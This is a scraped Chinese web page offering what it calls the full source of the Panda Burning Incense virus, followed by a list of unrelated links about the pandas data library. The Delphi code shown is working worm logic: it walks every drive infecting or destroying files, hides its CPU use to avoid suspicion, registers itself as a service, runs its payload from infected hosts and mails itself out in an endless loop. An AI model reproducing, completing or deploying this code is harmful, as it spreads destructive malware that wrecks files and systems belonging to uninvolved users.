python熊猫烧香_熊猫烧香完整源代码
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
python熊猫烧香_熊猫烧香完整源代码相关推荐
- 熊猫分发_熊猫新手:第一部分
熊猫分发 For those just starting out in data science, the Python programming language is a pre-requisite ...
- 熊猫数据集_熊猫迈向数据科学的第一步
熊猫数据集 I started learning Data Science like everyone else by creating my first model using some machi ...
- python熊猫图案_熊猫备忘单–适用于数据科学的Python
python熊猫图案 Pandas is arguably the most important Python package for data science. Not only does it g ...
- 熊猫分发_熊猫实用指南
熊猫分发 什么是熊猫? (What is Pandas?) Pandas is an open-source data analysis and manipulation tool for Pytho ...
- 熊猫分发_熊猫cut()函数示例
熊猫分发 1.熊猫cut()函数 (1. Pandas cut() Function) Pandas cut() function is used to segregate array element ...
- python熊猫图案_熊猫Python数据分析库和SQL教会了我如何取平均数
python熊猫图案 对于主要处理数据的Python开发人员来说,很难不让自己经常陷入SQL和Python的开源数据库pandas中. 尽管这些工具使操作和转换数据变得如此容易(有时就像一行代码一样简 ...
- python数据分析工具包_熊猫入门强大的Python数据分析工具包-经管之家官网!
熊猫入门强大的Python数据分析工具包 1.简介 大熊猫 首先,Pandas是用于数据分析的开源Python库.它包含数据处理和数据结构工具,这些工具旨在生成类似于电子表格的数据,以便在Python ...
- 熊猫分发_熊猫新手:第二部分
熊猫分发 This article is a continuation of a previous article which kick-started the journey to learning ...
- 熊猫分发_熊猫重命名列和索引
熊猫分发 Sometimes we want to rename columns and indexes in the Pandas DataFrame object. We can use pand ...
- 熊猫分发_熊猫下降列和行
熊猫分发 1. Pandas drop()函数语法 (1. Pandas drop() Function Syntax) Pandas DataFrame drop() function allows ...
最新文章
- 可见面判别算法---可见面判别算法的分类
- 我的CCIE实验考试
- 阑夕-王坚:说服马云之后,还要说服人类
- stick footers布局
- 使用curl获取Location:重定向后url
- Opencv 图像叠加 添加水印
- gmail怎么延时发送邮件呢?
- 六十八、完成Vue项目推荐和周末游组件,并使用Ajax发起ajax请求
- [原]全桥移相(PSFB)原边电流突跌分析
- 我不是码神!Serverless真的可以为所欲为?
- fedora 忘记root密码
- 全局声明宏定义_C++模拟面试:宏、lambda、智能指针闲谈
- 使用 Java 编写 Apache APISIX 插件
- 01 统计学与试验设计思想
- 微信小程序_for循环
- C语言链表翻转的三种实现方式(栈、头插法、递归法)
- 携程2019校招 LRU Cache
- Java后台获取USB二维码扫描枪内容(Java监听系统键盘操作)
- DWcs4右下角没有html文件,Dreamweaver cs4 cs5 spry菜单栏使用教程 详细教程 超好珍藏...
- stem32的简单应用
热门文章
- python 清屏_见识Python百宝箱,十行代码制作动态广告牌
- 网吧用服务器做虚拟化,刀片、无盘、集群、虚拟化,给你一个选择的理由(上)...
- mysql一张表能存多少条数据不影响性能_MySQL|优化案例两则
- 解决linux中tmp目录下的文件被清理的问题
- 数据结构之二叉树实现排序功能
- python优秀源码2019_SUCTF2019,python源码分析,漏洞原理
- Linux学习笔记:wc查看文件字节数、字数、行数
- DP动态规划【专辑@AbandonZHANG】
- android listView与adapter
- pytorch minist